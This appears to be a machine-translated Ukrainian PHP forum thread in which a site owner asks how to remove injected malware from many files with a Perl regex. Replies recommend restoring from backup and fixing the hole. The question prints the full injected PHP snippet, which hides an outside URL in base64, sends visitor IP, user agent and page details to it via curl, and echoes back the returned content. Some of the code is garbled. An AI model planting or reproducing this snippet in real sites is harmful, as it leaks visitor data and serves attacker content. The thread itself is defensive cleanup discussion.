Видалення шкідливого програмного забезпечення за допомогою perle регулярного виразу

Чи є спосіб видалити код нижче з декількох файлів і каталогів:

if (!isset($sRetry)) 
{
    global $sRetry;
    $sRetry = 1;//This code use for  lobal bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);// Looks for Google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";

    if (strstr($sUserAgent, 'google') == false && 
        strstr($sUserAgent, 'yahoo') == false && 
        strstr($sUserAgent, 'baidu') == false && 
        strstr($sUserAgent, 'msn') == false && 
        strstr($sUserAgent, 'opera') == false && 
        strstr($sUserAgent, 'chrome') == false && 
        strstr($sUserAgent, 'bing') == false && 
        strstr($sUserAgent, 'safari') == false && 
        strstr($sUserAgent, 'bot') == false)//Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) && isset($_SERVER['HTTP_HOST'])) 
        {// reate  bot analitics
            $stCurlLink = base64_decode('aHR0cDovL2NvbnFzdGF0LmNvbS9zdGF0L3N0YXQucGhw') . 
                '?ip=' . urlencode($_SERVER['REMOTE_ADDR']) . 
                '& seragent=' . urlencode($sUserAgent) . 
                '&domainname=' . urlencode($_SERVER['HTTP_HOST']) . 
                '& ullpath=' . urlencode($_SERVER['REQUEST_URI']) . 
                '& check=' . isset($_GET['look']);
            $stCurlHandle = curl_init($stCurlLink);
        }
    }

    if ($stCurlHandle !== NULL) 
    {
        curl_setopt($stCurlHandle, URLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle);

        if $sResult[0] == "O") 
        {
            $sResult[0] = " ";
            echo $sResult;//Statistic code end

        }
        curl_close($stCurlHandle);
    }
}
0
Як щодо усунення фактичної вразливості, яка дозволила когось ввести цей код на свої сторінки?
додано Автор Sinan Ünür, джерело
Будь ласка, вставте код знову, виберіть вставлений код і натисніть кнопку коду під час редагування.
додано Автор Sebastian Paaske Tørholm, джерело
Здається, це питання FTP
додано Автор user1018279, джерело

2 Відповіді

Не робіть цього. Ніколи не намагайтеся відремонтувати атаку. Ви ніколи не можете бути 100% впевнені, якщо у вас все це. Зрештою, ви знаєте про цю конкретну ін'єкцію. Як ви знаєте, що в інших місцях немає інших бекдорів?

Найкращий спосіб обробки даних - відновлення з резервної копії та виправлення вразливості.

Не маєте резервної копії? Ну, уроки дізналися. Тепер перейдіть до вашого хоста і запитайте їх (вони повинні мати недавній, але якщо вони будуть згортати його для вас інше питання).

Якщо їх також немає, добре, тоді ти застряєш, намагаючись ремонтувати. Але навіть тоді я б не рекомендував це робити автоматично. Замість цього перейдіть до файла за файлом і подивіться, що там було. Ви не знаєте, скільки версій цього "експлуатуватися" існує, якщо ви не вручну ввійдете до кожного файлу і перевіряти. Тому я б не намагався побудувати регулярний вираз, я б робив це вручну і рекомендую це зробити. Але тільки як останній випадок резервного копіювання ...

3
додано

Yes, I suppose you are on Windows (Unix users would know to use sed). I would try some free software that can do that: for example http://www.digitalvolcano.co.uk/content/textcrawler. Or better yet, download any PHP IDE. All can do bulk find&replace.

0
додано
Ні, я в коробці з Linux. Його нелегко використовувати sed, оскільки існує забагато цитат та спеціальних символів. \ Q \ E також не працює
додано Автор user1018279, джерело
Ukrainian PHP comunity
Ukrainian PHP comunity
885 учасників

dev-ua/php